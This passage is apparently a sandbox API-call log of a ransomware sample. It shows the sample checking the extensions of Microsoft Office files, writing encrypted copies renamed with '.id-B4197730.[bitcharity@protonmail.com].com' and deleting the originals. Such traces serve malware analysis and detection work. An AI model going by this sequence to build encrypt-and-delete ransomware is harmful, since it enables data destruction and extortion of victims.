[0148.291] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.291] lstrlenW (lpString=".xls") returned 4 [0148.291] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.291] lstrlenW (lpString=".xlsx") returned 5 [0148.291] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.292] lstrlenW (lpString=".ppt") returned 4 [0148.292] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString=".zip") returned 4 [0148.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.292] lstrlenW (lpString=".rar") returned 4 [0148.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString=".bz2") returned 4 [0148.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString=".7z") returned 3 [0148.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString=".dbf") returned 4 [0148.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString=".1cd") returned 4 [0148.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString=".jpg") returned 4 [0148.292] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.292] lstrlenW (lpString=".doc") returned 4 [0148.292] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString=".docx") returned 5 [0148.292] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.292] lstrlenW (lpString=".pdf") returned 4 [0148.292] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString=".xls") returned 4 [0148.292] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.292] lstrlenW (lpString=".xlsx") returned 5 [0148.293] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.293] lstrlenW (lpString=".ppt") returned 4 [0148.293] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.293] lstrlenW (lpString=".zip") returned 4 [0148.293] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.293] lstrlenW (lpString=".rar") returned 4 [0148.293] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.293] lstrlenW (lpString=".bz2") returned 4 [0148.293] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.293] lstrlenW (lpString=".7z") returned 3 [0148.293] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.293] lstrlenW (lpString=".dbf") returned 4 [0148.293] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.293] lstrlenW (lpString=".1cd") returned 4 [0148.293] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0148.293] lstrlenW (lpString=".jpg") returned 4 [0148.293] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.293] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.294] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0148.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.315] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=3375) returned 1 [0148.315] CloseHandle (hObject=0x10b4) returned 1 [0148.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0148.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.316] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.316] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0148.317] GetLastError () returned 0x0 [0148.317] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0148.450] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xd30, lpOverlapped=0x0) returned 1 [0148.451] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.451] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.451] SetEndOfFile (hFile=0x10b8) returned 1 [0148.451] CloseHandle (hObject=0x10b8) returned 1 [0148.453] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.453] SetEndOfFile (hFile=0x10b4) returned 1 [0148.454] CloseHandle (hObject=0x10b4) returned 1 [0148.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0148.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.455] lstrlenW (lpString=".doc") returned 4 [0148.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.455] lstrlenW (lpString=".docx") returned 5 [0148.455] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.455] lstrlenW (lpString=".pdf") returned 4 [0148.455] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.455] lstrlenW (lpString=".xls") returned 4 [0148.455] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.455] lstrlenW (lpString=".xlsx") returned 5 [0148.456] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.456] lstrlenW (lpString=".ppt") returned 4 [0148.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString=".zip") returned 4 [0148.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.456] lstrlenW (lpString=".rar") returned 4 [0148.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString=".bz2") returned 4 [0148.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString=".7z") returned 3 [0148.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString=".dbf") returned 4 [0148.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString=".1cd") returned 4 [0148.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString=".jpg") returned 4 [0148.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.456] lstrlenW (lpString=".doc") returned 4 [0148.457] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString=".docx") returned 5 [0148.457] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.457] lstrlenW (lpString=".pdf") returned 4 [0148.457] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString=".xls") returned 4 [0148.457] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString=".xlsx") returned 5 [0148.457] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.457] lstrlenW (lpString=".ppt") returned 4 [0148.457] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.457] lstrlenW (lpString=".zip") returned 4 [0148.457] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.457] lstrlenW (lpString=".rar") returned 4 [0148.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString=".bz2") returned 4 [0148.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString=".7z") returned 3 [0148.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.457] lstrlenW (lpString=".dbf") returned 4 [0148.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.457] lstrlenW (lpString=".1cd") returned 4 [0148.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0148.458] lstrlenW (lpString=".jpg") returned 4 [0148.458] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.458] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.458] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0148.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.459] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=373) returned 1 [0148.459] CloseHandle (hObject=0x10b4) returned 1 [0148.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0148.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.459] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.460] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0148.460] GetLastError () returned 0x0 [0148.460] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x175, lpOverlapped=0x0) returned 1 [0148.461] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x180, lpOverlapped=0x0) returned 1 [0148.462] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.462] WriteFile (in: hFile=0x10b8, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x100, lpOverlapped=0x0) returned 1 [0148.503] SetEndOfFile (hFile=0x10b8) returned 1 [0148.503] CloseHandle (hObject=0x10b8) returned 1 [0148.505] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.505] SetEndOfFile (hFile=0x10b4) returned 1 [0148.506] CloseHandle (hObject=0x10b4) returned 1 [0148.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0148.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.507] lstrlenW (lpString=".doc") returned 4 [0148.507] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString=".docx") returned 5 [0148.507] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0148.507] lstrlenW (lpString=".pdf") returned 4 [0148.507] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString=".xls") returned 4 [0148.507] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString=".xlsx") returned 5 [0148.507] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0148.507] lstrlenW (lpString=".ppt") returned 4 [0148.507] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.507] lstrlenW (lpString=".zip") returned 4 [0148.507] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.507] lstrlenW (lpString=".rar") returned 4 [0148.507] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString=".bz2") returned 4 [0148.507] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.507] lstrlenW (lpString=".7z") returned 3 [0148.507] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString=".dbf") returned 4 [0148.508] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString=".1cd") returned 4 [0148.508] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString=".jpg") returned 4 [0148.508] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString=".doc") returned 4 [0148.508] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString=".docx") returned 5 [0148.508] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0148.508] lstrlenW (lpString=".pdf") returned 4 [0148.508] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString=".xls") returned 4 [0148.508] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString=".xlsx") returned 5 [0148.508] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0148.508] lstrlenW (lpString=".ppt") returned 4 [0148.508] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.508] lstrlenW (lpString=".zip") returned 4 [0148.508] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.508] lstrlenW (lpString=".rar") returned 4 [0148.508] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.509] lstrlenW (lpString=".bz2") returned 4 [0148.509] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.509] lstrlenW (lpString=".7z") returned 3 [0148.509] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.509] lstrlenW (lpString=".dbf") returned 4 [0148.509] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.509] lstrlenW (lpString=".1cd") returned 4 [0148.509] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0148.509] lstrlenW (lpString=".jpg") returned 4 [0148.509] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.509] lstrcmpiW (lpString1=".GIF", lpString2=".com") returned 1 [0148.509] lstrlenW (lpString="AG00011_.GIF") returned 12 [0148.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.520] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x2f8ff14 | out: lpFileSize=0x2f8ff14*=7216) returned 1 [0148.520] CloseHandle (hObject=0x10b4) returned 1 [0148.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0148.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0148.520] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.520] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0148.555] GetLastError () returned 0x0 [0148.555] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1c30, lpOverlapped=0x0) returned 1 [0148.599] WriteFile (in: hFile=0x10dc, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1c40, lpOverlapped=0x0) returned 1 [0148.659] ReadFile (in: hFile=0x10b4, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.659] WriteFile (in: hFile=0x10dc, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.659] SetEndOfFile (hFile=0x10dc) returned 1 [0148.659] CloseHandle (hObject=0x10dc) returned 1 [0148.662] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.662] SetEndOfFile (hFile=0x10b4) returned 1 [0148.663] CloseHandle (hObject=0x10b4) returned 1 [0148.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0148.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0148.667] lstrlenW (lpString=".doc") returned 4 [0148.667] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0148.668] lstrlenW (lpString=".docx") returned 5 